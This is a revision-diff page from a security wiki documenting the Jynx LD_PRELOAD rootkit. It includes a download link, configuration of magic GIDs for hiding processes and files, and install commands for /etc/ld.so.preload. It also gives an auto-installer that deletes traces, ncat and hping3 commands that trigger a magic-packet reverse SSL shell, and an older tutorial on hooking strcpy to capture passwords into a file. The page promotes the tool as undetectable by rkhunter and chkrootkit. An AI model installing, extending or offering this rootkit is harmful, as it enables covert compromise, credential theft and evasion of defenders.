Questions about this topic? Sign up to ask in the talk tab.

Difference between revisions of "Jynx Rootkit/1.0"

From NetSec
Jump to: navigation, search
(Created page with "Link: www.blackhatacademy.org/releases/Jynx-Kit-Pub.tar.gz LD_PRELOAD in simplest terms is a way to "preload" a shared library. It's an option you pass to ld either using a conf...")
 
m (Protected "Jynx Rootkit/1.0" ([edit=sysop] (indefinite) [move=sysop] (indefinite)))
 
(39 intermediate revisions by 6 users not shown)
Line 1: Line 1:
−
Link: www.blackhatacademy.org/releases/Jynx-Kit-Pub.tar.gz
+
=Jynx=
 +
{{info|Jynx is a rootkit written in [[C]] that implements [[LD Preload]] to override several critical libc functions.}}
 +
At the time of release, jynx was not detected by chkrootkit or rkhunter. Jynx comes bundled with a magic-packet activated reverse connect SSL shell that hooks pcap in order to evade local [[sniffing]].
  
−
LD_PRELOAD in simplest terms is a way to "preload" a shared library. It's an option you pass to ld either using a config or environment variable. It will be called, and overrides LIBC:
+
==Introduction==
−
LD_PRELOAD=./yourso.so some_command
+
[[LD Preload|LD_PRELOAD]] rootkits are simple if one understand how [[LD Preload|LD_PRELOAD]] works. Libc functions are hooked in order to obscure arbitrary code. The challenging part of this is the limited amount of information given in a function call.
−
It has to be an absolute path, you cannot do:
+
−
LD_PRELOAD=yourso.so
+
−
Unless its in your ld path.
+
  
−
LD preload is built for runtime linking. It allows things like gcc, etc to link c0de and binaries against an object, shared object, or executable file. To keep it short & sweet, "printf()", is a part of LibC or glibc. libc.so.#.#.#, basically has the printf() function built-in, it also has an export table which contains addresses.
+
For example, to decide whether or not to hide information, there is no way to get a full file path inside of readdir() without hooking opendir() and maintaining a lookup table which is not only hackish, but degrades performance of the system.
  
−
Shared libraries are libraries SHARED by multiple executables, theyre linked run time, not statically when the program is built, and executed at realtime. For function names, i.e. 8if you want to use printf and 20 programs use it, a shared lib lets all the same progs access the same address to run printf().
+
With fstat(), only a file descriptor is passed, and thus Jynx uses a magic GID to hide /etc/ld.so.preload.
  
−
The address from the export table is stored in either a DWORD or a QWORD depending on CPU arch and ram accessibility. Shared libs exist for performance, that way you don't load the same function multiple times, shared libs are shared by multiple executable, stored once in memory. LD_PRELOAD is a feature that lets you tell your runtime linker to load your so "first".
+
{{info|Jynx has room for improvement!  Want to contribute?  Visit our [[IRC]]!}}
  
−
Basically it has precidence over other libs so if two printf() functions are loaded, yours is the one in the export table.  
+
In one custom implementation of Jynx written by a student, a magic string is used as opposed to a magic GID.  It is harder to hide processes from programs like `ps' or even from a user obtaining a /proc listing using a magic string; thus Jynx uses the magic GID method.  It is recommended to use an existing system GID so that another group is not added to the system, and thus the file integrity of /etc/group is preserved.
  
−
tsocks uses ld_preload, checkinstall(generates packages on linux) uses ld_preload however, im sure you can see how this can be abused. There is a config file that usually lives in, "etc/ld.so.preload", which will globally preload the contents. You put the paths to preloaded shared libs in there so essentially the entire userland, save statically compiled applications (rare), will use your overrided functions.
+
Because most rootkit detection mechanisms rely on a truthful environment, it is easy to bypass detection. By hooking [[LD Preload]], near anything is possible.
  
−
There are a few other nasty things you can do, hooking ssh, hooking gpg, anywhere a user would enter sensitive information. You can preload functions like strcpy() etc, dump to files and you can retrieve the information later. It's just a matter of cracking open the target application and finding what calls are made on the sensitive data.
+
This rootkit is undetectable to rkhunter and chkrootkit and exists in userland or '''RING 3'''.
  
−
Simple practical example:
+
==Configuration & Features==
−
If you have an app that asks for a users password then hashes it and compares it to a stored value.  
+
{{info| Download at http://www.blackhatacademy.org/releases/Jynx-Kit-Pub.tar.gz}}
−
Lets say it calls, strcpy(password, user_input);.
+
'''config.h''' contains the configuration for the rootkit.  MAGIC_DIR is the primary directory to hide from the system.  When creating MAGIC_DIR, one must ensure that its group ownership matches the GID set in MAGIC_GID to ensure the proper hiding of processes and connections from the system.  CONFIG_FILE defaults to /etc/ld.so.preload, however changing this is preferred when performing a "safe installation" for testing purposes.  
  
−
You hook strcpy so you'd grab the definition of strcpy: char *stpcpy(char *s1, const char *s2);.
+
'''MAGIC_SEQ''' and '''MAGIC_ACK''' are special options for the reverse connect SSL shell.  One will need to record these for construction of the magic packet for activation of the shell.
  
−
Notice strcpy() is defined as: char *strcpy(), as opposed to , char strcpy(). That's what allows the hook to work!
+
==Exercise & Installation==
 +
'''Exercise''' : Try hiding tcp connections by hooking read.
  
−
The definition has to be the same,  due to pointers.
+
'''Basic installation''':
  
−
Open up the man page, copy pasta it out. So then you would add some code to write the second argument to a file.
+
Once configured, a simple make execution will do the trick:
 +
  make all; make install INSTALL=/<MAGIC_DIR> MAGIC_GID=<MAGIC_GID>
  
−
LD preload loads before any other shared libs, so functions can be overridden i.e. you can conflict with libc and not have issues.
+
To create a script for faster installation on future machines:
 +
  ./packer.sh
  
−
FILE *fp = fopen(your_evil_filepath, 'a');
+
'''packer.sh''' will generate install.sh, which when bundled with the compiled binaries, will auto-install the binaries on future machines.
−
fpritnf(fp, "%s\n", s2);
+
 
−
fclose(fp);
+
{{info|Pointing /etc/ld.so.preload to a soft link or symlink that points to the ld_poison.so is easier to remove.}}
  
−
Now, there is an obvious problem with this, strcpy doesn't work anymore and all the things will break, thus ending your ruse if the app crashes. So, what you have to do is: call the original, working version of strcpy or implement your own, since strcpy is simple.  
+
To make the soft link:
 +
  ln -s /path/to/poison.so /etc/ld.so.preload
  
−
I'm going to show you how to get the original address of strcpy since that works for more complicated calls you cant just rewrite in 30 seconds. If you haven't already, grab the jynxkit source. Crack open the source, take a look at ld_poison.c. You'll find everything works with pointer overrides.
+
Removal:
 +
  rm -vf /path/to/poison.so /etc/ld.so.preload
  
−
I'll use "readdir" as an example, static struct dirent *(*old_readdir)(DIR *dir);, this is a function pointer. If u know what pointers are, this is just a pointer, except it points to a function. The prototype matches that of readdir.
+
{{warning|Alternatively, you can simply overwrite /etc/ld.so.preload, however removal will be more difficult.}}
 +
  rm -vf /etc/ld.so.preload ; mv /path/to/poison.so /etc/ld.so.preload
  
−
So if we're doing strcpy it would look like:
+
==Usage==
−
char *(*strcpy)(char *dest, const char *src);
+
To activate the shell, first start a listening interface:
−
Notice the two *. So now, you have to actually point your nice new pointer to the old function.
+
  ncat --ssl -l -p <PORT_TO_LISTEN_ON>
−
To do this, you'll use the ld library function dlsym. So:
+
−
void *dlsym(void *handle, const char *symbol);
+
−
The handle is the library youre using, the symbol is the name of the function you want to use RTLD_NEXT as your handle.
+
  
−
There are two special pseudo-handles, RTLD_DEFAULT and RTLD_NEXT. The former will find the first occurrence of the desired symbol using the default library search order. The latter will find the next occurrence of a function in the search order after the current library. This allows one to provide a wrapper around a function in another shared library.
+
Then, to initiate the connection:
 +
  hping3 <HOSTNAME> -s <PORT_TO_CONNECT_TO> -M <MAGIC_SEQ> -L <MAGIC_ACK> -c 1
  
−
char *(*old_strcpy)(char *dest, const char *src);
+
{{InHouse}}
−
old_strcpy = dlsym(RTLD_NEXT, "strcpy");
+
[[Category:Maintaining_Access]]
−
 
+
−
Now you can do:
+
−
return old_strcpy(s1, s2);
+
−
At the end of your fake out strcpy function, and it will behave like it should and not crash.
+
−
 
+
−
LD_PRELOAD ROOTKITS, pretty simple, how it's done should be obvious if u follow the basics of what i've said so far. Basically youre hooking libc functions to hide your naughty shit. The challenging part of this, and youll see this in jynxkit, is that you have a limited amount of information given to you in a call.
+
−
 
+
−
For example, to decide whether or not to hide it, there is no way to get a full file path inside of readdir without hooking opendir and maintaining a lookup table which is gross and bulky.
+
−
Or fstat, you only have an fd, so we have it look at the gid and of course it hides /etc/ld.so.preload.
+
−
So, moving onto the specifics of jynxkit, for those who want to play with it, first thing: there's a lot of room for improvement.
+
−
 
+
−
I know one of our testers removed all the gid code, just hides by filename, for example, you could hide network connections in /proc/net/tcp. The issue with ignoring GID is that it's harder to hide processes from programs like 'ps' with our version, even ls /proc. It hides all processes with a certain gid, i recommend you use an existing system gid.
+
−
 
+
−
That isn't used much and won't be missed so you dont have to mask it in configs. You could hook into network functions to add backdoors etc. You can be pretty creative with ld_preload, it's really simple to implement. Since rootkit hunters rely on the environment to be truthful, it's easy to slide by undetected.
+
−
 
+
−
This rootkit is undetectable to rkhunter and chkrootkit. Kernel rootkits are unstable, they break between kernel versions, slow down the system, userland is stable but the linux kernel isn't stable at all. LKMs are useful for specific uses like setting a pid to 0 but robust LKMs cause issues.
+
−
 
+
−
Exercise:
+
−
Try hiding tcp connections by hooking read.
+
−
 
+
−
Anyways, use packer.sh to make an auto installing shell file for your version of jynx-kit.
+
−
Then just run ./install.sh to extract all sources, compile, install, and delete traces
+
−
 
+
−
I recommend pointing /etc/ld.so.preload to a soft link, that points to the ld_poison.so, so it's easier to remove. So just use ln -s to make the soft link, then copy that path to /etc/ld.so.preload then rm the soft link, and rm ld.so.preload after.
+

Latest revision as of 03:54, 2 June 2012

Jynx

c3el4.png Jynx is a rootkit written in C that implements LD Preload to override several critical libc functions.

At the time of release, jynx was not detected by chkrootkit or rkhunter. Jynx comes bundled with a magic-packet activated reverse connect SSL shell that hooks pcap in order to evade local sniffing.

Introduction

LD_PRELOAD rootkits are simple if one understand how LD_PRELOAD works. Libc functions are hooked in order to obscure arbitrary code. The challenging part of this is the limited amount of information given in a function call.

For example, to decide whether or not to hide information, there is no way to get a full file path inside of readdir() without hooking opendir() and maintaining a lookup table which is not only hackish, but degrades performance of the system.

With fstat(), only a file descriptor is passed, and thus Jynx uses a magic GID to hide /etc/ld.so.preload.

c3el4.png Jynx has room for improvement! Want to contribute? Visit our IRC!

In one custom implementation of Jynx written by a student, a magic string is used as opposed to a magic GID. It is harder to hide processes from programs like `ps' or even from a user obtaining a /proc listing using a magic string; thus Jynx uses the magic GID method. It is recommended to use an existing system GID so that another group is not added to the system, and thus the file integrity of /etc/group is preserved.

Because most rootkit detection mechanisms rely on a truthful environment, it is easy to bypass detection. By hooking LD Preload, near anything is possible.

This rootkit is undetectable to rkhunter and chkrootkit and exists in userland or RING 3.

Configuration & Features

c3el4.png Download at http://www.blackhatacademy.org/releases/Jynx-Kit-Pub.tar.gz

config.h contains the configuration for the rootkit. MAGIC_DIR is the primary directory to hide from the system. When creating MAGIC_DIR, one must ensure that its group ownership matches the GID set in MAGIC_GID to ensure the proper hiding of processes and connections from the system. CONFIG_FILE defaults to /etc/ld.so.preload, however changing this is preferred when performing a "safe installation" for testing purposes.

MAGIC_SEQ and MAGIC_ACK are special options for the reverse connect SSL shell. One will need to record these for construction of the magic packet for activation of the shell.

Exercise & Installation

Exercise : Try hiding tcp connections by hooking read.

Basic installation:

Once configured, a simple make execution will do the trick: 

  make all; make install INSTALL=/<MAGIC_DIR> MAGIC_GID=<MAGIC_GID>

To create a script for faster installation on future machines: 

  ./packer.sh

packer.sh will generate install.sh, which when bundled with the compiled binaries, will auto-install the binaries on future machines.

c3el4.png Pointing /etc/ld.so.preload to a soft link or symlink that points to the ld_poison.so is easier to remove.

To make the soft link: 

  ln -s /path/to/poison.so /etc/ld.so.preload

Removal: 

  rm -vf /path/to/poison.so /etc/ld.so.preload
RPU0j.png Alternatively, you can simply overwrite /etc/ld.so.preload, however removal will be more difficult. 
  rm -vf /etc/ld.so.preload ; mv /path/to/poison.so /etc/ld.so.preload

Usage

To activate the shell, first start a listening interface: 

  ncat --ssl -l -p <PORT_TO_LISTEN_ON>

Then, to initiate the connection: 

  hping3 <HOSTNAME> -s <PORT_TO_CONNECT_TO> -M <MAGIC_SEQ> -L <MAGIC_ACK> -c 1
We have more tools coming soon! Look forward to Chimera Live CD.
c3el4.png
These are the offensive security tools developed by our wiki staff.
Retrieved from "http://nets.ec/index.php?title=Jynx_Rootkit/1.0&oldid=6760"